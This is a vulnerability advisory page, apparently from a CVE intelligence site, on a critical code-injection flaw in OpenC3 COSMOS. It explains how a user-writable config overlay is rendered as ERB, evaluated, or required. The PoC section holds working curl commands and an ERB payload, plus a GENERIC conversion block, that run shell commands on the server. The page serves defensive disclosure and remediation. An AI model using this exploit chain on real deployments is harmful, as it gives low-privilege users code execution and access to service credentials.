Skip to main content

OpenC3 COSMOS CVE-2026-77602

| EUVDEUVD-2026-85566 CRITICAL
Code Injection (CWE-94)
2026-09-23 https://github.com/OpenC3/cosmos GHSA-jjq7-m736-w977
9.9
CVSS 3.1 · Vendor: https://github.com/OpenC3/cosmos
Share

Severity by source

Vendor (https://github.com/OpenC3/cosmos) PRIMARY
9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
vuln.today AI
9.9 CRITICAL

Authenticated low-priv (PR:L) network-reachable RCE with no user interaction; scope changes (S:C) as code runs in other microservices holding Redis/bucket creds across scopes, full triad impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (https://github.com/OpenC3/cosmos).

CVSS VectorVendor: https://github.com/OpenC3/cosmos

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
POC Analysis Generated
Sep 23, 2026 - 23:25 vuln.today
Metadata Corrected
Sep 23, 2026 - 19:40 vuln.today
tag: Ruby added
Analysis Generated
Sep 23, 2026 - 19:22 vuln.today
CVE Published
Sep 23, 2026 - 18:57 cve.org
CRITICAL 9.9

DescriptionCVE.org

Summary

COSMOS reads configuration from a user-writable overlay (targets_modified/) before the read-only plugin-installed targets/ tree, and the config subsystem executes code on those files: ConfigParser renders every file as ERB by default, a GENERIC_READ_CONVERSION / GENERIC_WRITE_CONVERSION block is evaluated as code by GenericConversion (Ruby and Python), and the Script Runner suite analysis requires a procedure file. An authenticated user can write into targets_modified/ below the admin tier (the storage-upload endpoint exempts that area from the admin gate, and the screen-save endpoint stores its body verbatim there), so the same root cause is reachable through several features, each giving arbitrary code execution on a COSMOS server.

Three vulnerable routes were identified, all reachable by an authenticated non-admin user (in the open-source edition authorize ignores the permission string, so any authenticated user qualifies):

  1. Table definitions (immediate). tables#generate|report|load reads a definition from targets_modified/ and ERB-renders it and evaluates its GENERIC_*_CONVERSION block in the cmd-tlm-api container.
  2. Command/telemetry definitions (persistent). A file written to targets_modified/<TARGET>/cmd_tlm/ is overlaid by System.setup_targets and processed by PacketConfig in the decom/multi microservices: ERB-rendered in the Ruby implementation, and GENERIC-evaluated in both the Ruby and Python implementations (the Python ConfigParser does not run ERB). It executes on the next microservice (re)start.
  3. Script Runner suites (immediate). A procedure written to targets_modified/<TARGET>/procedures/ is required by the suite analysis, reachable at the read-only script_view tier through scripts#body and running_script#show (the analysis subprocess is spawned when OPENC3_SERVICE_PASSWORD is configured, which it is in the shipped .env).

Details

Root cause. TargetFile.body (Ruby openc3/lib/openc3/utilities/target_file.rb, Python openc3/python/openc3/utilities/target_file.py) reads {scope}/targets_modified/{name} before {scope}/targets/{name}. The storage-upload endpoint storage_controller.rb get_upload_presigned_request is gated at system_set and exempts targets_modified/ and tmp/ from its admin check (so a write there is not admin-gated); for a target path it additionally calls authorize_bucket_path, which in the permission-enforcing edition requires tlm on the target, while in the open-source edition authorize ignores the permission string entirely. screens_controller.rb create (system_set) stores its request body verbatim under targets_modified/<target>/screens/. So a non-admin can place files in the overlay. The config subsystem then executes them.

Sink 1, ERB. ConfigParser#parse_file renders the file as ERB before parsing (run_erb defaults to true):

ruby
# openc3/lib/openc3/config/config_parser.rb:402
output = ERB.new(File.read(filename)...comment_erb(), trim_mode: "-").result(...)

Reached for table definitions via tables_controller.rb -> Table.get_definitions -> TableConfig.process_file -> parse_file, and for cmd/tlm definitions via System.setup_targets (system.rb, whose overlay loop copies targets_modified/<T>/cmd_tlm/* over the read-only files) -> PacketConfig#process_file -> parse_file.

Sink 2, GENERIC conversion. PacketConfig/TableConfig build a GenericConversion from a GENERIC_READ_CONVERSION_START .. END / GENERIC_WRITE_CONVERSION_START .. END block, and GenericConversion#call evaluates it (independent of ERB):

ruby
# openc3/lib/openc3/conversions/generic_conversion.rb (call)
eval(@code_to_eval)
# Python openc3/python/openc3/conversions/generic_conversion.py (call): compile()/exec()/eval()

The read conversion fires on tables#report/load and during telemetry decom; the write conversion fires on tables#generate and on restore_defaults.

Sink 3, suite require. The Script Runner suite analysis executes the file:

ruby
# openc3-cosmos-script-runner-api/scripts/run_suite_analysis.rb:24
require ARGV[1]
# runs all top-level code of the supplied file

reached from Script.process_suite, invoked by scripts#body and running_script#show (both script_view) and scripts#create (script_edit) when the file matches the suite pattern.

Permission tiers. Writing the payload needs system_set (screen save, storage upload) or script_edit (script create); triggering needs system (tables) or script_view (suite). These are below the tiers where COSMOS gates code execution elsewhere (plugin install requires admin, running a script requires script_run).

PoC

Table definition path, against a standard stack. Benign payload writes id to a marker file. This PoC uses the open-source password login; in the permission-enforcing edition substitute a bearer token for a user holding the permissions noted above.

bash
BASE=http://localhost:2900/openc3-api
# adjust to your deployment
TOKEN=$(curl -s -X POST "$BASE/auth/verify" -H 'Content-Type: application/json' -d '{"password":"<your password>"}')
# 1) Write the payload into targets_modified/ via the screen save endpoint.
curl -s -X POST "$BASE/screen" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'target=INST' --data-urlencode 'screen=poc' \
  --data-urlencode $'text=SCREEN AUTO AUTO 1.0\n<%= File.write("/tmp/erb_rce_poc", `id`) %>\nLABEL poc'
# 2) Trigger by pointing a table action at that file.
curl -s -X POST "$BASE/tables/generate" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'definition=INST/screens/poc.txt'

Then in the cmd-tlm-api container: cat /tmp/erb_rce_poc shows uid=1001(openc3) .... The tables/generate request returns HTTP 500 (the screen lines are not valid table keywords); the marker shows the code already ran.

The same outcome without ERB, using the GENERIC sink, on the same tables/generate trigger:

TABLE "data" BIG_ENDIAN KEY_VALUE "poc"
  APPEND_PARAMETER "item1" 8 UINT 0 255 0 "Item"
    GENERIC_WRITE_CONVERSION_START
      `id > /tmp/erb_rce_poc`
      0
    GENERIC_WRITE_CONVERSION_END

cmd/tlm path: upload a telemetry definition containing the same ERB or GENERIC block to targets_modified/<TARGET>/cmd_tlm/<file>.txt via the storage-upload presigned request (system_set), then the code runs in that target's decom microservice on its next restart. Suite path: write a suite-shaped procedure to targets_modified/<TARGET>/procedures/<x>.rb and call scripts#body on it at script_view.

The ERB table chain was confirmed end to end over HTTP against a booted Rails and puma instance.

Impact

Arbitrary code execution as the openc3 user in the cmd-tlm-api container and the per-target decom microservices and the script-runner. Those processes hold the Redis and bucket credentials and sit on the internal service network, so the executed code acts with that authority over configuration, telemetry, and command data across scopes. The API is served through Traefik, which the shipped compose binds to 127.0.0.1:2900, so a default single-host install is reachable only from the host; a multi-user deployment exposes the web port, and the AV:N rating reflects that standard remote-operator exposure.

All paths require valid authentication, and the triggering permissions (system/system_set/script_view) are below the admin/script_run/plugin-install tiers where COSMOS gates code execution. In the open-source edition authorize checks only token validity and does not enforce the permission string, so any authenticated user can perform these requests.

Suggested fix

The fix is to treat the user-writable overlay as data, never code, and to gate the writers, applied uniformly:

  • Load table and cmd/tlm definitions for code-execution paths from the read-only targets/ tree only, or parse the targets_modified overlay with ERB disabled (run_erb=false); dynamically-created packet definitions are structural and never need ERB, so this does not regress that feature.
  • Allow only admin and the server-side dynamic-packet mechanism to write a cmd_tlm overlay; reject non-canonical object keys so a positional path check cannot be bypassed by a key the object store normalizes differently.
  • Run the Script Runner suite analysis (which executes the file) only at the script_run tier, at every entry point.
  • Mirror the definition-read change in the Python implementation.

AnalysisAI

Authenticated remote code execution in OpenC3 COSMOS (Ruby gem 'openc3' versions 5.1.0 through 7.2.1) lets any logged-in user, including one with only low-tier permissions, execute arbitrary Ruby and Python code on the COSMOS server and its per-target decom microservices. COSMOS reads configuration from a user-writable overlay (targets_modified/) before its read-only targets/ tree and then executes that content - rendering it as ERB, eval-ing GENERIC_READ/WRITE_CONVERSION blocks, or require-ing Script Runner procedure files - so an attacker who can write to the overlay via the screen-save or storage-upload endpoints achieves code execution as the openc3 user, which holds Redis and object-store credentials and sits on the internal service network. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

No credit card · 7-day full trial

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
technique details hidden
Delivery
technique details hidden
Exploit
technique details hidden
Execution
technique details hidden
Impact
technique details hidden

Vulnerability AssessmentAI

Exploitation Requires a valid authenticated session on a COSMOS server (>=5.1.0, <=7.2.1) and network reachability to the API - realistic only on multi-user deployments that expose the web port, since the shipped docker-compose binds Traefik to 127.0.0.1:2900 (localhost-only) on a default single-host install. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment This is a genuine high-priority issue, not a high-CVSS-but-low-risk artifact. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario Full exploit scenario with step-by-step reproduction available after sign-in.
Remediation Upgrade to OpenC3 COSMOS 7.3.0, the vendor-released patch for rubygems/openc3, which fixes all three code-execution sinks as described in advisory GHSA-jjq7-m736-w977 (https://github.com/OpenC3/cosmos/security/advisories/GHSA-jjq7-m736-w977). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, inventory every OpenC3 COSMOS deployment (including container images and per-target decom microservices) and determine which run the openc3 Ruby gem at versions 5.1.0 through 7.2.1; if 7.3.0 can be deployed immediately, do so, and where it cannot, restrict network access to the screen-save and storage-upload endpoints to trusted administrative networks, review the account roster for unnecessary or shared logins, and snapshot the targets_modified/ overlay plus relevant application logs for forensic review. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Share

CVE-2026-77602 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy